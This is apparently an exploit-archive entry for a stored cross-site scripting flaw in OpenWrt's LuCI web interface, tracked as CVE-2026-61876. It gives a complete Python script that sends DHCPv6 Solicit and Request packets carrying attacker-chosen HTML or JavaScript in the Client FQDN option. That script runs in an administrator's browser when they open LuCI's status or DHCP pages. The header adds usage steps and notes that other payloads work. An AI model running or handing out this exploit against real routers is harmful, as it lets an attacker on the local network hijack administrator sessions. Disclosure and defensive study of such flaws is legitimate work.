# Exploit Title: LuCI DHCPv6 - Lease Hostname Stored Cross-Site Scripting # CVE: CVE-2026-61876 # Date: 2026-07-13 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://openwrt.org/ # Software Link: https://github.com/openwrt/luci # Affected: OpenWrt LuCI (luci-mod-status, luci-mod-network) before patch # Tested on: OpenWrt 25.12.0-rc1 x86_64 # Category: Remote # Platform: Linux # Exploit Type: Stored XSS # CVSS: 8.8 # Description: An unauthenticated adjacent-network attacker can inject malicious HTML/JavaScript via DHCPv6 Client FQDN (option 39). The hostname is stored by odhcpd and rendered unsafely via innerHTML in LuCI status tables. # Fixed in: LuCI commit 55379d0 (and backports) # Usage: # python3 exploit.py --ifindex --hostname '' # # Examples: # python3 exploit.py --ifindex 2 --hostname '
' # # Options: # --ifindex Interface index of the LAN interface # --hostname Malicious hostname/FQDN payload # --server DHCPv6 server (default: ff02::1:2) # --release Release the lease after injection # # Notes: # • Requires adjacent network access (LAN) # • Administrator must view Status > Overview or Network > DHCP and DNS # • Payload example triggers alert(); other XSS payloads work too. # # How to Use # # Step 1: # Identify your LAN interface index: ip -o link show | awk '{print $1, $2}' # # Step 2: # Run the exploit and then open LuCI as admin to trigger the payload. def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╝ """) import argparse import os import random import socket import struct import time OPT_CLIENTID = 1 OPT_SERVERID = 2 OPT_IA_NA = 3 OPT_ORO = 6 OPT_ELAPSED = 8 OPT_STATUS = 13 OPT_IAADDR = 5 OPT_FQDN = 39 def opt(code, data): return struct.pack("!HH", code, len(data)) + data def options(buf): i = 0 while i + 4 <= len(buf): code, length = struct.unpack("!HH", buf[i:i + 4]) i += 4 yield code, buf[i:i + length] i += length def first_opt(buf, wanted): for code, data in options(buf): if code == wanted: return data return None def encode_domain(name): labels = name.rstrip(".").split(".") if name else [] out = bytearray() for label in labels: raw = label.encode("utf-8") if len(raw) > 63: raise ValueError("domain label too long for DHCPv6 FQDN option") out.append(len(raw)) out += raw out.append(0) return bytes(out) def make_duid(mac): dhcpv6_epoch = 946684800 now = int(time.time() - dhcpv6_epoch) return struct.pack("!HHI", 1, 1, now) + mac def make_msg(msg_type, txid, opts): return bytes([msg_type]) + txid + b"".join(opts) def parse_msg(data): if len(data) < 4: return None return data[0], data[1:4], data[4:] def open_sock(ifindex, port, bind_addr): s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.settimeout(4) try: s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_IF, ifindex) except OSError: pass try: s.bind((bind_addr, port, 0, ifindex if bind_addr.startswith("fe80:") else 0)) return s, port except OSError: if port != 0: s.bind((bind_addr, 0, 0, ifindex if bind_addr.startswith("fe80:") else 0)) return s, s.getsockname()[1] raise def send_recv(sock, dst, msg, txid, expect_types): sock.sendto(msg, dst) deadline = time.time() + 5 while time.time() < deadline: try: data, addr = sock.recvfrom(4096) except socket.timeout: break parsed = parse_msg(data) if not parsed: continue msg_type, rxid, opts = parsed if rxid == txid and msg_type in expect_types: return msg_type, opts, addr, data return None def status_text(ia_na): if not ia_na: return "" for code, data in options(ia_na[12:]): if code == OPT_STATUS and len(data) >= 2: status = struct.unpack("!H", data[:2])[0] text = data[2:].decode("utf-8", "replace") return f"status={status} {text}".strip() return "" def main(): banner() ap = argparse.ArgumentParser(description="LuCI DHCPv6 FQDN XSS Exploit (CVE-2026-61876)") ap.add_argument("--ifindex", type=int, required=True) ap.add_argument("--hostname", required=True) ap.add_argument("--server", default="ff02::1:2") ap.add_argument("--bind-addr", default="::") ap.add_argument("--port", type=int, default=546) ap.add_argument("--release", action="store_true") ap.add_argument("--duid-hex") ap.add_argument("--iaid-hex") args = ap.parse_args() if args.duid_hex: duid = bytes.fromhex(args.duid_hex) mac = duid[-6:] if len(duid) >= 14 else b"\x00" * 6 else: mac = bytes([0x02, 0x00, 0x5e, random.randrange(256), random.randrange(256), random.randrange(256)]) duid = make_duid(mac) iaid = bytes.fromhex(args.iaid_hex) if args.iaid_hex else os.urandom(4) fqdn = bytes([0]) + encode_domain(args.hostname) oro = struct.pack("!HHH", 23, 24, OPT_FQDN) sock, sport = open_sock(args.ifindex, args.port, args.bind_addr) dst = (args.server, 547, 0, args.ifindex if args.server.startswith("ff") or args.server.startswith("fe80:") else 0) txid = os.urandom(3) solicit = make_msg(1, txid, [ opt(OPT_CLIENTID, duid), opt(OPT_IA_NA, iaid + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00"), opt(OPT_ORO, oro), opt(OPT_ELAPSED, b"\x00\x00"), opt(OPT_FQDN, fqdn), ]) adv = send_recv(sock, dst, solicit, txid, {2}) if not adv: print(f"NO_ADVERTISE source_port={sport}") return 2 _, adv_opts, addr, _ = adv serverid = first_opt(adv_opts, OPT_SERVERID) ia_na = first_opt(adv_opts, OPT_IA_NA) print(f"ADVERTISE from={addr[0]} source_port={sport}") if not serverid or not ia_na: return 3 txid = os.urandom(3) request = make_msg(3, txid, [ opt(OPT_CLIENTID, duid), opt(OPT_SERVERID, serverid), opt(OPT_IA_NA, ia_na), opt(OPT_ORO, oro), opt(OPT_ELAPSED, b"\x00\x00"), opt(OPT_FQDN, fqdn), ]) rep = send_recv(sock, dst, request, txid, {7}) if not rep: print("NO_REPLY") return 4 _, reply_opts, addr, _ = rep print(f"REPLY from={addr[0]}") if args.release: txid = os.urandom(3) release = make_msg(8, txid, [ opt(OPT_CLIENTID, duid), opt(OPT_SERVERID, serverid), opt(OPT_IA_NA, ia_na), ]) rel = send_recv(sock, dst, release, txid, {7}) print("RELEASE_REPLY" if rel else "NO_RELEASE_REPLY") print(f"DUID={duid.hex()} IAID={iaid.hex()}") return 0 if __name__ == "__main__": raise SystemExit(main())